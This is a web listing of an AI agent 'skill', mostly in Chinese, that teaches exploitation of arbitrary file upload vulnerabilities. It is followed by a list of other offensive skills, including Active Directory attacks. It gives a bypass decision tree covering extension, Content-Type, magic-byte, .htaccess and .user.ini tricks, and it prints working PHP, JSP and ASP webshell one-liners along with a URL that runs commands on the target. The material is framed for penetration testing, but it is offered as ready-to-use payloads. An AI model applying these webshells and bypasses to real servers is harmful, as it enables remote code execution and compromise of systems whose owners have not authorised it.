file-upload-methodology

$npx mdskill add wgpsec/AboutSecurity/file-upload-methodology

Bypass file upload restrictions to deploy webshells.

  • Enables arbitrary file upload exploitation on vulnerable targets.
  • Integrates with web application testing frameworks and penetration tools.
  • Analyzes server configurations to determine bypass strategies.
  • Delivers actionable payloads and exploit paths for immediate use.

SKILL.md

.github/skills/file-upload-methodologyView on GitHub ↗
---
name: file-upload-methodology
description: "任意文件上传的检测、绕过和利用。当目标有上传功能(头像、附件、导入)、multipart表单、文件管理接口时使用。包含扩展名/Content-Type/Magic Bytes三层绕过、.htaccess覆盖、.user.ini+auto_prepend_file、图片马二次渲染绕过、ZIP解压利用、上传路径猜解方法"
metadata:
  tags: "arbitrary_file_upload,file upload,webshell,bypass,path-traversal,rce,upload,multipart,Content-Type绕过,双扩展名,MIME,文件上传,avatar,头像,attachment,附件,import,导入,图片上传,image upload"
  category: "exploit"
---

# 文件上传漏洞方法论

## ⛔ 深入参考(必读)

- 需要扩展名/Content-Type/Magic Bytes 绕过详解、路径穿越、.htaccess 覆盖、.user.ini 利用、图片马二次渲染绕过、ZIP 解压利用 → [references/upload-bypass.md](references/upload-bypass.md)

---

## Phase 0: 上传功能发现与分析(最先执行!)

1. 寻找 `<form enctype="multipart/form-data">` 或 `<input type="file">`
2. 常见端点:`/upload`, `/api/upload`, `/avatar`, `/import`
3. **关键收集**:允许的文件类型、上传后存储路径、服务器技术栈(PHP/Java/Python)

**陷阱**:前端 JS 验证可以直接绕过,真正的限制在后端。

## Phase 1: 基础上传测试

1. 先上传正常文件(.txt)确认功能正常,**记录返回的文件路径**
2. 访问上传的文件 URL — 确认可访问
3. 上传 .php 文件,观察是否被拒绝

**路径猜解**:`/uploads/`, `/upload/`, `/files/`, `/static/uploads/`, `/images/`

## Phase 2: 绕过决策树

```
上传被拒绝?
├─ 扩展名限制(黑名单)→ .phtml/.php5/大小写/.php./双写 → [references/upload-bypass.md](references/upload-bypass.md)
├─ 扩展名限制(白名单)→ .htaccess 覆盖(Apache)或 .user.ini(通用)→ [references/upload-bypass.md](references/upload-bypass.md)
├─ Content-Type 限制 → 改为 image/jpeg
├─ 文件头检查 → GIF89a + webshell
├─ 二次渲染检查 → 图片马(GIF 优先)→ [references/upload-bypass.md](references/upload-bypass.md)
└─ 三层都限制 → 组合绕过:扩展名 + Content-Type + 文件头
```

## Phase 3: Webshell Payload

**PHP**(最常见):
```php
<?php system($_GET['cmd']); ?>
```
精简版(绕过关键字):`<?=`$_GET[1]`?>`

**JSP**: `<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>`
**ASP**: `<%eval request("cmd")%>`

### 上传后验证
```
http://target/uploads/shell.php?cmd=id
```
**陷阱**:访问 .php 返回源代码 → 该目录禁止执行,需要路径穿越或 .htaccess。

## 注意事项
- **上传成功 ≠ 可利用**:必须访问验证执行
- **服务端可能 hash 重命名**:从响应中获取新文件名
- **记录每次尝试的扩展名和响应**:快速排除无效绕过

## .htaccess 攻击
- 两步法:先上传 .htaccess 配置 PHP 解析规则,再上传 shell.jpg

## 上传≠执行
- 上传成功不代表能利用(上传≠执行),需要确认文件可被访问和解析
- 配合文件包含(LFI)等其他漏洞执行上传的 webshell

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|